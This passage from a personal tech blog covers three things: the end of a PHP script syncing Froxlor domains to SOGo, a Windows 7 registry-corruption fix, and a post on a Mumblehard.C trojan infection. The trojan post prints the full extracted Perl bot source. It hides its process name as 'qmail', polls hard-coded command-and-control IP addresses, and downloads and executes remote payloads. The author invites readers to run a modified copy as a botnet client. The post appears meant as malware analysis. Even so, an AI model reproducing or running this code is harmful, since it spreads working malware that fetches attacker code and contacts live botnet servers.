                 canAuthenticate = YES;
                 isAddressBook = NO;
                 userPasswordAlgorithm = plain;
               }
          );
  };
", $r[0], $r[0], $domainkey, $sogousr, $sogopasswd, $domainkey);
 
                    }
                    else echo 'Error creating view for domain '.$r[0];
                }
                fwrite ($fp, "};");
                while ($line=fgets($fpsog)) fwrite($fp, $line);
                $bRet = true;
            }
            else echo "Marker /***DOMAINS***/ not found in $tplfil template.";
            fclose($fp);
        }
        else echo "Cannot create temp. tmpfil file";
        fclose($fpsog);
    }
    else echo "Cannot open $tplfil for reading";
    mysql_close($conn);
 
    if ($bRet)
    {
        if ($bRet=rename($tmpfil, $cnffil))
        {
            shell_exec($restart_cmd);
        }
        else echo "Cannot overwrite $cnffil";
    }
    return $bRet;
}
?>

Now edit

/var/www/froxlor/scripts/jobs/cron_tasks.php

and add the folowing line to the require_once lines:

require_once makeCorrectFile(dirname(__FILE__) . '/cron_tasks.inc.sogo.php');

Within block

        /**
         * TYPE=1 MEANS TO REBUILD APACHE VHOSTS.CONF
         */
        if ($row['type'] == '1') {
...
        }

Add the following line before the closing Bracket } of the if:

sync_to_sogo();

6) Enjoy

Now everytime you create a domain or make other changes, a view shoud be created in the sogo-database that points to all usernames of the e-mail accounts from a certain domain and sogo.conf is being rewritten with multidomain support for all e-mail domains so that it is in sync with SOGo.
I hope my little script helps you a bit with integrating SOGo with Froxlor.

c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.

By dose | May 16, 2017
Under: Uncategorized
Comments: No Comments »

Yesterday I had a case where a Windows 7 machine halted with

c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.
0x00000000 (0xC0000001, 0x00010400)

This means that the login processes died for some reason. After trying last good configuration, repair mode etc. and nothing seemed to help, I started up with the Windows 7 BootCD and checked the registry by running regedit from the command prompt and loading the SYSTEM, SOFTWARE etc. hives from Windows\system32\config directory into regedit.
I noticed that the SOFTWARE hive was nearly empty except for some Microsoft keys.
Another blogger had exactly the same problem:

Vista: Stop: c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.


So I first tried to run Microsoft chkreg utility over a copy of the SOFTWARE hive, but it was unable to find corruption and fix it. An expanded chkreg.exe utility that can be used on the Windows command shell directly can be found here.

As this didn’t succeed, I tried to copy back the SOFTWARE file from Windows\system32\config\RegBack.
I wasn’t expecting it to work, as I thought that the Last known good configuration feature from the start menu would do the same, but it seems that this isn’t the case, so copying it back helped and the computer was ablt to boot up again.

Next step was to find out what has happened. I compared the broken and the good SOFTWARE file with each other and I noticed that they were nearly identical except for one page where its contents were empty in the broken registry file and were filled in the working backup file. I checked the Harddisks’ SMART values and found out that the HDD had 25 Reallocated Sectors. I suspect that there was a Relocation process going on on last shutdown that resulted in a blank sector to be written right in the middle of the Reigstry file which caused the corruption. Time to immediately change the HDD before it completely breaks down.

Mumblehard.C trojan unpacked

By dose | March 30, 2017
Under: Uncategorized
Comments: No Comments »

Recently a server got infected with the Mumblehard.C trojan due to an unmaintained WordPress installation.
The trojan seems to have been installed to /var/tmp directory on the server and run via cron every 10 minutes to check for new comamdns of its Command&Control servers. The trojan is mainly used for spamming activity.

The executable itself is a simple C program, that unpacks an XORed perl-script that then gets executed in memory (overwriting its process name with “qmail”).
It seems that the Command&Control servers of the trojan are still active and haven’t changed in a few months, as there is an analysis of the malware sample available from December 2016 which still contacted the same IP-adresses:

https://detux.org/report.php?sha256=a4199f2a1539f0e9b5d18b81873ad65f332046b2a1c4f7e44b039fd93e369c87

It is interesting that these hosts haven’t been shutdown since then by the ISPs.
If you are interested, here is the momblehard.C PERL script as extracted from the malicious executable. You can modify the system() command and play botnet client yourself to monitor it 😉

use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0="qmail";
$|=1;
my $ewblock = 11;
my $eiprogr = 150;
if ($^O eq "linux") {
    $ewblock = 11;
    $eiprogr = 115;
}
if ($^O eq "freebsd") {
    $ewblock = 35;
    $eiprogr = 36;
}
&main();
sub main {
    exit 0 unless defined(my $pid = fork);
    exit 0 if $pid;
    POSIX::setsid();
    $SIG {$_} = "IGNORE" for (qw(HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
    umask 0;
    chdir "/";
    open(STDIN, "</dev/null");
    open(STDOUT, ">/dev/null");
    open(STDERR, ">&STDOUT");
    my $url = ["31.220.18.115", "5.101.142.81", "5.2.86.225", "5.135.42.98", "50.7.133.245", "5.9.157.230"];
    my $tst = ["a".."z", "A".."Z"];
    $tst = join("", @$tst[map { rand@ $tst }(1..(6 + int rand 5))]);
    my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$tst")) { close F; unlink "/tmp/$tst "; $dir ="/tmp"; }
    my($header, $content);
    my($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
    foreach my $rs(@$url) {
        $header = "$dir/".time;
        $content = $header."1";
        unlink $header if -f $header;
        unlink $content if -f $content; 
        &http($rs, $timeout, $header, $content, 0);
        if (open(F, "<", $header)) {
            flock F, 1;
            my($test, $task) = (0, "");
            while (<F>) {
                s/^\s*([^\s]?.*)$/$1/;
                s/^(.*[^\s])\s*$/$1/;
                next unless length $_;
                $test++
                if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close";
                $task = $1
                if /^Set-Cookie: PHPSESSID=([^;]+)/;
            }
            close F;
            ($link, $file, $id, $command, $timeout) = &decd($task) if $test == 2 && length $task;
        }
        unlink $header if -f $header;
        unlink $content if -f $content;
    }
 
    exit 0 if !defined $command || $command!~/^16$/;
    $header = "$dir/".time;
    $content = "$dir/$file";
    unlink $header
    if -f $header;
    unlink $content
    if -f $content; &http($link, $timeout, $header, $content, 1);
    my($resp, $size) = ("000", 0);
    if (open(F, "<", $header)) {
        flock F, 1;
        while (<F>) {
            s/^\s*([^\s]?.*)$/$1/;
            s/^(.*[^\s])\s*$/$1/;
            next unless length $_;
            $resp = $1 if /^HTTP\S+\s+(\d\d\d)/;
        }
        close F;
    }
    $size = (stat $content)[7] if -f $content;
    $size = 0 if !defined $size || $size!~/^\d+$/;
    if ($size > 0) {
        chmod 0755, $content;
        system "$content >/dev/null 2>&1"; 
    }
    unlink $header if -f $header;
    unlink $content if -f $content;
    foreach my $rs(@$url) {
        $header = "/dev/null";
        $content = $header; &http($rs, 10, $header, $content, 0, "$id.$resp.$size");
    }
    exit 0;
}
 
sub xorl {
    my($line, $code, $xor, $lim) = (shift, "", 1, 16);
    foreach my $chr(split(//, $line)) {
      if ($xor == $lim) { $lim = 0 if $lim == 256; $lim += 16; $xor = 1; }
      $code. = pack("C", unpack("C", $chr) ^ $xor); $xor++;
    }
    return $code;
}
sub decd {
    my $data = pack("H*", shift);@
    _ = unpack("C5", substr($data, 0, 5, ""));
    return (&xorl(substr($data, 0, shift, "")), &xorl(substr($data, 0, shift, "")), @_);
}
sub http {
    my($url, $timeout, $header, $content, $mode, $gecko) = @_;
    $gecko = "20100101"
    if !defined $gecko || !length $gecko;
    my($host, $port, $path) = $url = ~/^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
    return unless $host;
    my $addr;
    if ($host = ~/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ && $1 < 256 && $2 < 256 && $3 < 256 && $4 < 256) {
        $addr = pack("C4", $1, $2, $3, $4);
    } else {
        $addr = gethostbyname $host;
    }
    return unless $addr;
    $port || = 80;
    $path || = "/";
    $addr = sockaddr_in($port, $addr);
    my $readers = IO::Select->new() or return;
    my $writers = IO::Select->new() or return;
    my $buffer = join("\x0D\x0A",
        "GET $path HTTP/1.1", "Host: $host", "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/$gecko Firefox/7.0.1", "Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.9",
        "Accept-Language: en-us,en;q=0.5", "Accept-Encoding: gzip, deflate", "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Connection: close", "\x0D\x0A");
    if ($mode) {
        $buffer = join("\x0D\x0A",
            "GET $path HTTP/1.0", "Host: $host", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Accept: text/html,*/*", "Connection: close", "\x0D\x0A");
    }
    my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
    return unless $socket;
    $socket->blocking(0);
    unless($socket->connect($addr)) {
        if ($! != $eiprogr && $! != $ewblock) {
            close $socket;
            return;
        }
    }
    $writers->add($socket);
    $timeout+=time;
    my $step = 0;
    while (1) {
        IO::Select->select(undef, undef, undef, 0.02);
        my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
        foreach my $handle(@$writable) {
            if ($step == 0) {
                $step = 1
                if $handle->connected;
            }
            if ($step == 1) {
                my $result = syswrite($handle, $buffer);
                if (defined $result && $result > 0) {
                    substr($buffer, 0, $result) = "";
                    if (!length $buffer) {
                        $readers->add($handle);
                        $writers->remove($handle);
                        $step = 2;
                    }
                }
                elsif($! == $ewblock) {
                    next;
                } else {
                    $timeout = 0;
                }
            }
       }
       my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
       foreach my $handle(@$readable) {
            next if $step < 2;
            my $result;
            if ($step == 2) {
                $result = sysread($handle, $buffer, 8192, length $buffer);
            } else {
                $result = sysread($handle, $buffer, 8192);
            }
            if (16384 < length $buffer) {
                $timeout = 0;
            }
            elsif(defined $result) {
                if ($result > 0) {
                    if ($step == 2) {
                        my $offset = index($buffer, "\x0D\x0A\x0D\x0A");
                        next if $offset < 0;
                        if (open(F, ">>", $header)) {
                            flock F, 2;
                            binmode F;
                            print F substr($buffer, 0, $offset);
                            close F;
                        }
                        substr($buffer, 0, $offset + 4) = "";
                        $step = 3;
                    }
                    if ($step == 3) {
                        if (length $buffer) {
                            if (open(F, ">>", $content)) {
                                flock F, 2;
                                binmode F;
                                print F $buffer;
                                close F;
                            }
                            $buffer = "";
                        }
                    }
                    next;
                }
                $timeout = 0;
            }
            elsif($! == $ewblock) {
                next;
            } else {
                $timeout = 0;
            }
        }
        if ($timeout < time) {
            foreach my $handle($writers->handles, $readers->handles) {
                $writers-> remove($handle) if $writers->exists($handle);
                $readers-> remove($handle) if $readers->exists($handle);
                close $handle;
            }
            return;
        }
    }
}